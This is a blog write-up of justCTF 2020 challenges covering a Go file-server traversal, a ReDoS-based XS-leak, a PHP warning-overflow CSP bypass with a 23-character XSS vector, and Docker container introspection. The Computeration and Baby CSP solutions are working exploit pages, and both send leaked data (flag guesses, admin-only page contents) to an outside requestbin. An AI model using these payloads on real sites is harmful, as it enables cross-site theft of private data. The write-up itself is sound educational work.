justCTF [*] 2020 Writeups

justCTF [*] 2020

This CTF was a ton of fun but very difficult. I played with my team, (Crusaders of Rust), and we ended up getting 10th place.

We almost full cleared web, getting every challenge except njs (not counting PainterHell because that challenge was insane). I’ll write about everything I had a direct hand in solving.



go-fs was the first web challenge that I solved, and it was a little difficult because I can’t read Go. The challenge links to a website http://gofs.web.jctf.pro/ which has 6 files. One of the files is called “flag”, but trying to open it results in the message: “No flag for you!”

The source code is provided, and the most important functionality of the script was blocking requests to /flag. You can see how it was implemented:

http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Served-by", VERSION)
    w = &wrapperW{w}
    fileServ.ServeHTTP(w, r)

http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Served-by", VERSION)
    w.Write([]byte(`No flag for you!`))

So, any request that starts with /flag is blocked by the 2nd http handler function. I first tried some obvious tricks like curl --path-as-is http://gofs.web.jctf.pro/folder/../flag to try and get the flag, but the http library in Go has some sanitization and checks.

If the URL contains relative pathing, Go automatically attempts to redirect you to the correct location by way of a 301 Permanent Redirect. So, making a request to the url above would just redirect you to /flag, which would be blocked.

I was stuck here for a bit until I dug deep in the documentation for Go and saw this.

The path and host are used unchanged for CONNECT requests.

Huh. I didn’t know what a CONNECT request was before but apparently Go doesn’t sanitize these requests. So, making a connection with this request type, we get the flag.

[email protected]:~$ curl -X CONNECT --path-as-is http://gofs.web.jctf.pro/folder/../flag
justCTF{"This bug seems to be not exploitable, at least not with a sane filesystem implementation.": yet, here you are!}

~~~~~~~~~~~~~~ Generated by Go FileServ v0.0.0b ~~~~~~~~~~~~~

(because writing file servers is eeaaassyyyy & fun!!!1111oneone)

justCTF{“This bug seems to be not exploitable, at least not with a sane filesystem implementation.": yet, here you are!}

Funnily enough, by googling this flag, we find this GitHub issue by the author, talking about a different bug. Well apparently, this was the unintended solution.


Computeration was a challenge with an unintended solution, so the admins ended up making Computeration Fixed with the bug patched. The challenge description links both the website and a place to report URLs to the admin, which makes me think it is some sort of XSS or data exfiltration challenge. Something interesting is that the website only runs in client-side, which means the data must be stored on the client.

Here’s the HTML source of the website.

        <meta charset="UTF-8">
        <h2>My Notes</h2>
        <div id="notesDiv"></div>
        <button onclick="clearNotes()">Clear notes</button>
        Search in my notes <input id="searchNoteInp"></input>
        <button onclick="searchNote()">OK</button>
        <div id="notesFound"></div>
            let notes = JSON.parse(localStorage.getItem('notes')) || [];
            function clearNotes(){
                notes = [];
                localStorage.setItem('notes', '[]');
                notesDiv.innerHTML = '';
            function insertNote(title, content){
                notesDiv.innerHTML += `<details><summary>${title}</summary><p>${content}</p>`
            for(let note of notes){
                insertNote(note.title, note.content);

            function searchNote(){
                location.hash = searchNoteInp.value;

            onhashchange = () => {
                const reg = new RegExp(decodeURIComponent(location.hash.slice(1)));
                const found = [];
                    if(e.content.search(reg) !== -1){

                notesFound.innerHTML = found;

            function addNote(){
                const title = newNoteTitle.value;
                const content = newNoteContent.value;
                notes.push({title, content});
                localStorage.setItem('notes', JSON.stringify(notes));
                newNoteTitle.value = '';
                newNoteContent.value = '';

        <h2>New Note</h2>
        Title: <input id="newNoteTitle"/> <br>
        Content: <textarea id="newNoteContent"></textarea> <br>
        <button onclick="addNote()">Add</button>

Looking at this source code, I immediately see the bug. I’ll explain the bug in the next section. But, I remember that this is the broken challenge, so I look for an easier way to solve it. The HTML between the broken and fixed is the exact same, so I check out the report functionality.

They give a link where you can submit URLs for the admin to visit. I quickly shoot a request for the admin to view a requestbin, and I see something very interesting.

Huh. It seems like they left the referer HTTP header, showing us a secret URL. Navigating to the link, we are redirected to the website I submitted. Opening up the source code, we see:

And we see the flag. Pretty easy (unintended solution), but the flag also gives a major hint to the real solution.


Computeration Fixed

Now, onto the actual challenge. We ended up getting 2nd blood on this challenge! Like I said earlier, I immediately knew the solution when I looked at it. I remembered reading a writeup that had the exact same vulnerability. I go and Google for it again, and lo and behold, the writeup was made by terjanq from justCatTheFish 🤔…

This is why it’s always good to read your writeups 🙃

Anyway, the real vulnerability in this challenge is right here:

onhashchange = () => {
    const reg = new RegExp(decodeURIComponent(location.hash.slice(1)));
    const found = [];
        if(e.content.search(reg) !== -1){

    notesFound.innerHTML = found;

Specifically, we can see on the 2nd line, a regex is created from the location.hash string (location.hash refers to the #something in the URL). Well, the vulnerability here is that it lets us create our own regexes, so we can create a malicious one.

This is known as ReDoS, or Regular Expression Denial of Service. We can craft a malicious regex such that if it matches the content of the note, the website freezes.

Looking for a nice PoC, I find this article. They use the regex ^(?=(some regexp here))((.*)*)*salt$, where salt is a long stream of random characters. The longer it is, the slower the execution will be, up to the point where we can crash the page.

I load up Regexr to test a regex. I create this regex:


And see this:

Perfect. So now, we have a way to crash the page if we match the flag. But how do we measure if the page crashes? Well, we can just check if our page crashes as well. This comes from an attack named XS-Leaks, specifically “blocking the event loop”. Read more about it here.

So, since the website first searches when it detects a hash change, we have to load the page in an iframe first with a hash. Then, we can change the URL hash of the iframe and insert the regex. Once we do that, there’s a number of ways to check whether the website crashed the event loop.

My initial setup was changing the URL of the iframe to another site, and then sending to a webhook whether it was able to redirect. After testing, it turned out I didn’t even need this part since the site wouldn’t send that second request anyway.

Well, here was my solution code:

<!DOCTYPE html>
        <iframe src="https://computeration-fixed.web.jctf.pro/#" id="iframe"></iframe>
        <img src="https://eoimages.gsfc.nasa.gov/images/imagerecords/73000/73751/world.topo.bathy.200407.3x21600x21600.B1.png" style="display:none" /> <!-- image that takes like forever to load -->
            let iframe = document.getElementById("iframe");
            let known = "no_referer_typo_ehhhhh";
            let check = `[^h]`;

            let gen = (c) => {
                return `^(?=justCTF{${c}.*})((.*)*)*sr43534kl4kjtnerntfkjerfnkrfnrdnflkdfmlefmslmfrewlmk54oy6mrtlkhmgflsr43534kl4kjtnerntfkjerfnkrfnrdnflkdfmlefmslmfrewlmk54oy6mrtlkhmgflsr43534kl4kjtnerntfkjerfnkrfnrdnflkdfmlefmslmfrewlmk54oy6mrtlkhmgflsr43534kl4kjtnerntfkjerfnkrfnrdnflkdfmlefmslmfrewlmk54oy6mrtlkhmgflsr43534kl4kjtnerntfkjerfnkrfnrdnflkdfmlefmslmfrewlmk54oy6mrtlkhmgflsr43534kl4kjtnerntfkjerfnkrfnrdnflkdfmlefmslmfrewlmk54oy6mrtlkhmgflsr43534kl4kjtnerntfkjerfnkrfnrdnflkdfmlefmslmfrewlmk54oy6mrtlkhmgflsr43534kl4kjtnerntfkjerfnkrfnrdnflkdfmlefmslmfrewlmk54oy6mrtlkhmgflsr43534kl4kjtnerntfkjerfnkrfnrdnflkdfmlefmslmfrewlmk54oy6mrtlkhmgflsr43534kl4kjtnerntfkjerfnkrfnrdnflkdfmlefmslmfrewlmk54oy6mrtlkhmgfl$`

            let check = () => {
                iframe.src = "https://computeration-fixed.web.jctf.pro/#" + gen(known + check);

                setTimeout(() => {
                    iframe.src = "https://brycec.me";

                    let loaded = false;
                    iframe.onload = () => loaded = true;

                    setTimeout(() => {
                        fetch(`https://eng1ctmm5cmvc.x.pipedream.net/?check=` + known + check + '&matches=' + !loaded);
                    }, 2500);
                }, 400);

            fetch(`https://eng1ctmm5cmvc.x.pipedream.net/?loading=` + known + check);
            let first = true;
            iframe.onload = () => {
                first = false;

I ran into a problem where the page would load, but nothing would run. I assumed this was because the website was exiting right as soon as it finished loading, so I embedded a 200MB image in the page, making it run all of my code fine. The website first makes a request back telling me it loaded the page. Then, it loads the page with just an empty hash. Once it has loaded, it runs iframe.onload, which runs the check function.

It generates a malicious regex with what is already known of the flag plus the characters I want to test. Since we’re running regex, we can use binary search, searching for half of the characters ([a-m]) and splitting at each request until we find the right character.

At this point, I could have automatically coded it to do the binary search, but I was too lazy, so just did everything by hand. It just took 25 minutes.

Eventually, we get the flag.


Baby CSP

Baby CSP was technically the hardest web challenge (besides PainterHell) in the competition, even though I’d say it was much easier than the intended solution for njs (finding a 0day by looking through the source).

Visiting the website, the source is provided:

$nonce = random_bytes(8);

    header('X-Content-Type-Options: nosniff');
    header('X-Frame-Options: DENY');
    header('Content-type: text/html; charset=UTF-8');
    echo $flag;
     echo "You are not an admin!";

for($i=0; $i<10; $i++){
        $_nonce = hash($_GET['alg'], $nonce);
            $nonce = $_nonce;
    $nonce = md5($nonce);

if(isset($_GET['user']) && strlen($_GET['user']) <= 23) {
    header("content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'");
    echo <<<EOT
        <script nonce='$nonce'>
        <center><h1> Hello <span id='user'>{$_GET['user']}</span>!!</h1>
        <p>Click <a href="?flag">here</a> to get a flag!</p>

// Found a bug? We want to hear from you! /bugbounty.php
// Check /Dockerfile

The website takes three URL parameters, flag, alg, and user. If the flag parameter is found, it’ll print the flag if we are the admin. We can’t see how the check works, so we can assume that we need to get XSS on the page and make a request with the flag parameter.

The 2nd parameter, alg, is plugged into the hash function, hashing the $nonce variable 10 times, replacing the md5 function. The 3rd parameter, user is an obvious XSS vector since is just outputted directly on the page. However, it only allows strings up to 23 characters…

I’ll quickly explain nonces and CSP. CSP, or Content Security Policy, is an extra layer of security website operators can place on their site to help prevent XSS. It basically regulates what kind of scripts, images, stylesheets, websites, etc. that are allowed to be embed on the site.

The bottom of the website shows two URLs, /Dockerfile, and /bugbounty.php. Checking the Dockerfile shows us that PHP development mode is enabled, which enables things like warnings. Interesting… /bugbounty.php is obviously just a page to redirect the admin to our XSS.

If we can find a way to break the nonce function, we can bypass the CSP and embed our own script. We can provide a nonexistent algorithm for the hash function, but then it just spits out a warning and returns false, defaulting to using md5.

Anyway, looking up the list of hash algorithms PHP supports, we find this page. I ended up checking all of the algorithms, and found that the adler32 algorithm created a nonce which collides around every 300 attempts.

But, there’s a problem - the 23 character limit. A script tag with a nonce would look something like this: <script nonce=12345678></script>, which is already 32 characters. Obviously, something is up.

This is probably where a lot of teams got lost, and I also got lost here for like an hour. Eventually, I got kinda mad, and started slamming my keyboard with characters and hitting CTRL+V a lot in the alg parameter. Magically, CSP disappeared!

We get two warnings:

Warning: hash(): Unknown hashing algorithm: 12311123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231vv1231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231vv1231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231vv1231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311 in /var/www/html/index.php on line 21

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/index.php:21) in /var/www/html/index.php on line 31

The first warning makes sense - I passed in a nonexistent hash algorithm. But the 2nd warning was interesting. The source of the bug is that you cannot send the response before you send headers. The response is the text that shows up on the page, and the headers are where CSP lives. PHP has a 4096 character buffer for the response where it stores text, but if that buffer is overrun, it’ll be sent automatically (I think…).

Creating a large warning message (that repeats 10 times) overruns this buffer with too many characters, making it send automatically. Once any bit of the response has been sent, the header information can’t be modified, which is the 2nd warning that we see. So now, there’s no longer a CSP, and we can just do straight XSS.

We do have to find a 23 byte XSS vector, but one that I know is <svg/onload=eval(name)>, and this is indeed 23 characters. name comes from the window.name property, which is a custom name variable which browsers can set on iframes and windows.

So, I whip up a quick website to send over this algorithm, XSS vector, and set a custom JS payload on the page. I again get the problem where the bot leaves immediately after the page begins loading, so I place the large image again.

We get a request to the admin, and it sends our request back with the flag! Well, actually it sends back “You are not the admin”… Hm…

I ask the admin what’s going on, and he ends up telling me that the admin’s cookies are set to Lax mode. Here’s an excerpt from the Mozilla Docs:

Cookies are not sent on normal cross-site subrequests (for example to load images or frames into a third party site), but are sent when a user is navigating to the origin site (i.e. when following a link).

This is the default cookie value if SameSite has not been explicitly specified in recent browser versions (see the “SameSite: Defaults to Lax” feature in the Browser Compatibility).

Lax replaced None as the default value in order to ensure that users have reasonably robust defense against some classes of cross-site request forgery (CSRF) attacks.

So, making a fetch request (even with credentials included) don’t send the lax cookies. I end up fixing this by changing my payload to open a new tab from the XSS, and reading the tab contents from there. Here’s my final payload:

<!DOCTYPE html>
        <iframe name="let x = window.open('/?flag'); x.onload = () => {fetch('https://enavfajw8uem.x.pipedream.net/?f=' + x.document.documentElement.innerHTML)}" src="https://baby-csp.web.jctf.pro/?alg=12311123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231vv1231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231vv1231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231vv1231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231vv1231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231vv&user=<svg/onload=eval(name)>"></iframe>
        <iframe src="https://enavfajw8uem.x.pipedream.net/iframe.html"></iframe>
        <img src="https://eoimages.gsfc.nasa.gov/images/imagerecords/73000/73751/world.topo.bathy.200407.3x21600x21600.B1.png" style="display:none" />

Checking my requestbin, we have the flag:



D0cker was a challenge that was almost like Docker trivia - you spoke with an “oracle”, and you had to answer questions about the Docker environment to pass and get the flag.

Connecting to the server, it asks for a hash from hashcash to limit requests. Submitting one, we connect to the server, and it drops us into a shell.

[email protected]:~$ nc docker-ams3.nc.jctf.pro 1337

Access to this challenge is rate limited via hashcash!
Please use the following command to solve the Proof of Work:
hashcash -mb26 vqhmexrh

Your PoW: 1:26:210201:vqhmexrh::0Ia1kPVatH+cpzQG:0000000008/hM
[*] Spawning a task manager for you...
[*] Spawning a Docker container with a shell for ya, with a timeout of 10m :)
[*] Your task is to communicate with /oracle.sock and find out the answers for its questions!
[*] You can use this command for that:
[*]   socat - UNIX-CONNECT:/oracle.sock
[*] PS: If the socket dies for some reason (you cannot connect to it) just exit and get into another instance

groups: cannot find name for group ID 1000
I have no [email protected]:/$

It passes a command to communicate with the oracle, socat - UNIX-CONNECT:/oracle.sock. Running this command, we get the first question:

I have no [email protected]:/$ socat - UNIX-CONNECT:/oracle.sock
socat - UNIX-CONNECT:/oracle.sock
Welcome to the
    ______ _____      _
    |  _  \  _  |    | |
    | | | | |/' | ___| | _____ _ __
    | | | |  /| |/ __| |/ / _ \ '__|
    | |/ /\ |_/ / (__|   <  __/ |
    |___/  \___/ \___|_|\_\___|_|
I will give you the flag if you can tell me certain information about the host (:
ps: brute forcing is not the way to go.
Let's go!
[Level 1] What is the full *cpu model* model used?

It first asks for the full cpu model. Easy enough, typing lscpu, we can see the CPU model name, “Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz”. Sending this, we get the next question.

[Level 1] What is the full *cpu model* model used?
Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz
Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz
That was easy :)
[Level 2] What is your *container id*?

Hm, our container id is where I had to start researching. Docker container ids have a length of 64, and the hostname that we see (c55303db3034) is only the first 12 characters. So, googling how to find the Docker container id in a container, I find that you can run cat /proc/self/cgroup to find the container id.

I have no [email protected]:/$ cat /proc/self/cgroup
cat /proc/self/cgroup
I have no [email protected]:/$
[Level 2] What is your *container id*?
[Level 3] Let me check if you truly given me your container id. I created a /secret file on your machine. What is the hidden secret?

Huh. This one is pretty tricky. It asks us for the contents of the /secret file on our machine. But, this file changes every time we get to this question. We don’t have multiple connections, so how can we read the file without exiting the oracle?

Well, we can use Python to do this. I write a quick command: python3 -c "import time; time.sleep(15); print(open('/secret', 'r').read())" &. This command runs Python, sleeps for 15 seconds, then prints out /secret, all in the background (&). This step messed up a couple of times, as there was a bug with the challenge that made the /secret file not exist.

[Level 2] What is your *container id*?
[Level 3] Let me check if you truly given me your container id. I created a /secret file on your machine. What is the hidden secret?

Getting that right, we get the next question:

[Level 4] Okay but... where did I actually write it? What is the path on the host that I wrote the /secret file to which then appeared in your container? (ps: there are multiple paths which you should be able to figure out but I only match one of them)

This one is again even more difficult, asking us where on the host system the wrote the /secret file for it to show up on our own system. After playing around a bit with the procfs, I end up finding /proc/self/mountinfo. The contents of that file are:

1001 952 0:62 / / rw,relatime master:420 - overlay overlay rw,lowerdir=/var/lib/docker/overlay2/l/ZOHBJQXOHRN6AUZJURI3QMJ2NZ:/var/lib/docker/overlay2/l/JQG4DHIHDNUJUSNWI3BNOCS3GO:/var/lib/docker/overlay2/l/EPGEJI72R5AVERPF7MGK2ROUJ5:/var/lib/docker/overlay2/l/J3TTTPZ6J6HOAOEKZQQQII6SXE:/var/lib/docker/overlay2/l/BFOV7S6MFX4532OSVYTKYP37SP,upperdir=/var/lib/docker/overlay2/4aa83136c3fb0722e0d6857e6b84a6b69ab69ea5a65de0e9011e7b8ebf029e57/diff,workdir=/var/lib/docker/overlay2/4aa83136c3fb0722e0d6857e6b84a6b69ab69ea5a65de0e9011e7b8ebf029e57/work,xino=off
1002 1001 0:65 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw
1003 1001 0:66 / /dev rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755
1004 1003 0:67 / /dev/pts rw,nosuid,noexec,relatime - devpts devpts rw,gid=5,mode=620,ptmxmode=666
1005 1001 0:68 / /sys ro,nosuid,nodev,noexec,relatime - sysfs sysfs ro
1006 1005 0:69 / /sys/fs/cgroup ro,nosuid,nodev,noexec,relatime - tmpfs tmpfs rw,mode=755
1007 1006 0:31 /docker/762366f3d2c8dce9dbbf44c96ba725db7f393acef5299764dc8d84a14526bd33 /sys/fs/cgroup/systemd ro,nosuid,nodev,noexec,relatime master:11 - cgroup cgroup rw,xattr,name=systemd
1008 1006 0:34 /docker/762366f3d2c8dce9dbbf44c96ba725db7f393acef5299764dc8d84a14526bd33 /sys/fs/cgroup/memory ro,nosuid,nodev,noexec,relatime master:15 - cgroup cgroup rw,memory
1009 1006 0:35 /docker/762366f3d2c8dce9dbbf44c96ba725db7f393acef5299764dc8d84a14526bd33 /sys/fs/cgroup/cpu,cpuacct ro,nosuid,nodev,noexec,relatime master:16 - cgroup cgroup rw,cpu,cpuacct
1010 1006 0:36 / /sys/fs/cgroup/rdma ro,nosuid,nodev,noexec,relatime master:17 - cgroup cgroup rw,rdma
1011 1006 0:37 /docker/762366f3d2c8dce9dbbf44c96ba725db7f393acef5299764dc8d84a14526bd33 /sys/fs/cgroup/freezer ro,nosuid,nodev,noexec,relatime master:18 - cgroup cgroup rw,freezer
1012 1006 0:38 /docker/762366f3d2c8dce9dbbf44c96ba725db7f393acef5299764dc8d84a14526bd33 /sys/fs/cgroup/perf_event ro,nosuid,nodev,noexec,relatime master:19 - cgroup cgroup rw,perf_event
1013 1006 0:39 /docker/762366f3d2c8dce9dbbf44c96ba725db7f393acef5299764dc8d84a14526bd33 /sys/fs/cgroup/pids ro,nosuid,nodev,noexec,relatime master:20 - cgroup cgroup rw,pids
1014 1006 0:40 /docker/762366f3d2c8dce9dbbf44c96ba725db7f393acef5299764dc8d84a14526bd33 /sys/fs/cgroup/devices ro,nosuid,nodev,noexec,relatime master:21 - cgroup cgroup rw,devices
1015 1006 0:41 /docker/762366f3d2c8dce9dbbf44c96ba725db7f393acef5299764dc8d84a14526bd33 /sys/fs/cgroup/net_cls,net_prio ro,nosuid,nodev,noexec,relatime master:22 - cgroup cgroup rw,net_cls,net_prio
1016 1006 0:42 /docker/762366f3d2c8dce9dbbf44c96ba725db7f393acef5299764dc8d84a14526bd33 /sys/fs/cgroup/blkio ro,nosuid,nodev,noexec,relatime master:23 - cgroup cgroup rw,blkio
1017 1006 0:43 /docker/762366f3d2c8dce9dbbf44c96ba725db7f393acef5299764dc8d84a14526bd33 /sys/fs/cgroup/hugetlb ro,nosuid,nodev,noexec,relatime master:24 - cgroup cgroup rw,hugetlb
1018 1006 0:44 /docker/762366f3d2c8dce9dbbf44c96ba725db7f393acef5299764dc8d84a14526bd33 /sys/fs/cgroup/cpuset ro,nosuid,nodev,noexec,relatime master:25 - cgroup cgroup rw,cpuset
1019 1003 0:64 / /dev/mqueue rw,nosuid,nodev,noexec,relatime - mqueue mqueue rw
1020 1001 252:1 /tmp/pwn-docker/shentssegesslatinglopposeelmerth.sock /oracle.sock rw,relatime - ext4 /dev/vda1 rw
1021 1001 252:1 /var/lib/docker/containers/762366f3d2c8dce9dbbf44c96ba725db7f393acef5299764dc8d84a14526bd33/resolv.conf /etc/resolv.conf rw,relatime - ext4 /dev/vda1 rw
1022 1001 252:1 /var/lib/docker/containers/762366f3d2c8dce9dbbf44c96ba725db7f393acef5299764dc8d84a14526bd33/hostname /etc/hostname rw,relatime - ext4 /dev/vda1 rw
1023 1001 252:1 /var/lib/docker/containers/762366f3d2c8dce9dbbf44c96ba725db7f393acef5299764dc8d84a14526bd33/hosts /etc/hosts rw,relatime - ext4 /dev/vda1 rw
1024 1003 0:63 / /dev/shm rw,nosuid,nodev,noexec,relatime - tmpfs shm rw,size=65536k
953 1003 0:67 /0 /dev/console rw,nosuid,noexec,relatime - devpts devpts rw,gid=5,mode=620,ptmxmode=666
954 1002 0:65 /bus /proc/bus ro,relatime - proc proc rw
955 1002 0:65 /fs /proc/fs ro,relatime - proc proc rw
956 1002 0:65 /irq /proc/irq ro,relatime - proc proc rw
957 1002 0:65 /sys /proc/sys ro,relatime - proc proc rw
958 1002 0:65 /sysrq-trigger /proc/sysrq-trigger ro,relatime - proc proc rw
959 1002 0:70 / /proc/acpi ro,relatime - tmpfs tmpfs ro
960 1002 0:66 /null /proc/kcore rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755
961 1002 0:66 /null /proc/keys rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755
962 1002 0:66 /null /proc/timer_list rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755
963 1002 0:66 /null /proc/sched_debug rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755
964 1002 0:71 / /proc/scsi ro,relatime - tmpfs tmpfs ro
965 1005 0:72 / /sys/firmware ro,relatime - tmpfs tmpfs ro

Quite a lot of text. The first line is the important one though:

1001 952 0:62 / / rw,relatime master:420 - overlay overlay rw,lowerdir=/var/lib/docker/overlay2/l/ZOHBJQXOHRN6AUZJURI3QMJ2NZ:/var/lib/docker/overlay2/l/JQG4DHIHDNUJUSNWI3BNOCS3GO:/var/lib/docker/overlay2/l/EPGEJI72R5AVERPF7MGK2ROUJ5:/var/lib/docker/overlay2/l/J3TTTPZ6J6HOAOEKZQQQII6SXE:/var/lib/docker/overlay2/l/BFOV7S6MFX4532OSVYTKYP37SP,upperdir=/var/lib/docker/overlay2/4aa83136c3fb0722e0d6857e6b84a6b69ab69ea5a65de0e9011e7b8ebf029e57/diff,workdir=/var/lib/docker/overlay2/4aa83136c3fb0722e0d6857e6b84a6b69ab69ea5a65de0e9011e7b8ebf029e57/work,xino=off

This line basically says that the root folder (/) of the container is mounted using overlayfs. You can read more about overlayfs here. This page also tells us that the writable bit of the filesystem is on the “upper” layer, so the upperdir folder in the first line is the one we need to submit.

At this point, I wanted to make a script to make things easier. Since there was Python, we could use sockets to communicate, but I wanted to try out something my teammate suggested: mpwn, a single file standalone Python library that emulates pwntools.

When starting the container, all you have to do is copy and paste mp.py to the /tmp dir, then run this script to answer the first four questions:

from mp import *
import time
import os

open("start.sh", "w").write("#!/bin/bash\nsocat - UNIX-CONNECT:/oracle.sock")
os.system("chmod +x start.sh")

cpu = [l for l in open("/proc/cpuinfo", "r").read().split("\n") if l.startswith("model name")][0].split(": ")[1]
containerid = [l for l in open("/proc/self/cgroup", "r").read().split("\n") if "/docker/" in l][0].split("/docker/")[1]
secretloc = open("/proc/self/mountinfo").read().split("\n")[0].split("upperdir=")[1].split(",")[0] + "/secret"

p = process("./start.sh")
for _ in range(11):





secret = open("/secret", "r").read()





Running this script, we get to level 5.

$ [Level 5] Good! Now, can you give me an id of any *other* running container?

Well, this one is asking us to get the id of another running container… While there probably is a way to find this by looking through the system, there’s an easier solution: just load up another instance and give it the container id 🙃

Finally we get to the last question, and the real challenge:

$ [Level 5] Good! Now, can you give me an id of any *other* running container?
[Level 6] Now, let's go with the real and final challenge. I, the Docker Oracle, am also running in a container. What is my container id?

Huh. This one is real difficult. Checking back at /proc/self/mountinfo, we see this line:

1020 1001 252:1 /tmp/pwn-docker/shentssegesslatinglopposeelmerth.sock /oracle.sock rw,relatime - ext4 /dev/vda1 rw

No instance of a container id. Curiously, the filename of the socket, when converted from ASCII to hex, is indeed 64 characters. But it’s not the right id. On paper, this seems impossible. It seems like we need to find the oracle’s container and run cat /proc/self/cgroup to find their id, but that is obviously not the case. I’m guessing a lot of people got stuck here.

The first thing I tried was run socat with every debug option available: socat -dddd -lu -v -D - unix-connect:/oracle.sock. While I did find the sock filename again, no 64 character id to be found. I tried using Python’s socket library, import socket; sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM); sock.connect("/oracle.sock"), but that only showed the socket filename again. I tried looking through the /sys/block and /sys/fs parts of the filesystem, but found nothing.

Eventually, I came to realize that the container was somewhere on the same harddrive, mapped to our container. I started to investigate ways to list harddrives and blocks. I tried df -h, lsblk, reading blocks directly with dd, but no cigar. Eventually, I tried the du command. du measures how much diskspace a file or folder uses, and I was going to use this to see if I could find anything interesting about the /oracle.sock file. But, running this command without arguments instead looped through all the files in the container and crashed my instance. Oops.

But, I ended up looking through the files anyway. There were tens of thousands of lines, so I only quickly skimmed through it, but then I found a couple of 64 character strings…

0       ./kernel/slab/:A-0001088/cgroup/signal_cache(797:networkd-dispatcher.service)
0       ./kernel/slab/:A-0001088/cgroup/signal_cache(1745:snapd.service)
0       ./kernel/slab/:A-0001088/cgroup/signal_cache(849:ssh.service)
0       ./kernel/slab/:A-0001088/cgroup/signal_cache(1071:docker.service)
0       ./kernel/slab/:A-0001088/cgroup/signal_cache(1045:cloud-config.service)
0       ./kernel/slab/:A-0001088/cgroup/signal_cache(680:containerd.service)
0       ./kernel/slab/:A-0001088/cgroup/signal_cache(2034:[email protected])
0       ./kernel/slab/:A-0001088/cgroup/signal_cache(589:systemd-udevd.service)
0       ./kernel/slab/:A-0001088/cgroup/signal_cache(2048:session-2.scope)
0       ./kernel/slab/:A-0001088/cgroup/signal_cache(576:cloud-init.service)
0       ./kernel/slab/:A-0001088/cgroup/signal_cache(11527:44b6790cf522512823fb19641d2920f30561cc17ea9c076927954db4062fc256)
0       ./kernel/slab/:A-0001088/cgroup/signal_cache(693:cron.service)
0       ./kernel/slab/:A-0001088/cgroup/signal_cache(1108:init.scope)
0       ./kernel/slab/:A-0001088/cgroup/signal_cache(8827:2855b404af1e705d8431f1983577a511321e2ea0cc49d64c5dd8d4262aee63b5)
0       ./kernel/slab/:A-0001088/cgroup/signal_cache(862:supervisor.service)
0       ./kernel/slab/:A-0001088/cgroup

One of these was my container id, but I didn’t know what the other one was. Well, I booted up a new instance, went to this folder, and extracted the different 64 character value. I crossed my fingers, ran my script again, and hoped for the best:

[Level 6] Now, let's go with the real and final challenge. I, the Docker Oracle, am also running in a container. What is my container id?
[Levels cleared] Well done! Here is your flag!

Good job o/
 <- received EOF
 <- received EOF



In my opinion, a very high quality CTF. There were some problems with some challenges, and I did waste like 6 hours on PainterHell, decompiling the plugin, rewriting and hotpatching different sections of the unofficial decompiler, and finding the backdoor in the TF2 plugin only to find out later that my version was unsolvable. Damn.

I also spent a lot of hours on njs, but apparently that one was an unknown njs issue… I didn’t read the source code closely enough, I guess.

Well, the CTF was very fun and I learned a lot. We were 5th up until the last hour when everyone stopped flag hoarding and we dropped to 10th. Damn. Anyway, thanks justCatTheFish for a great CTF.

comments powered by Disqus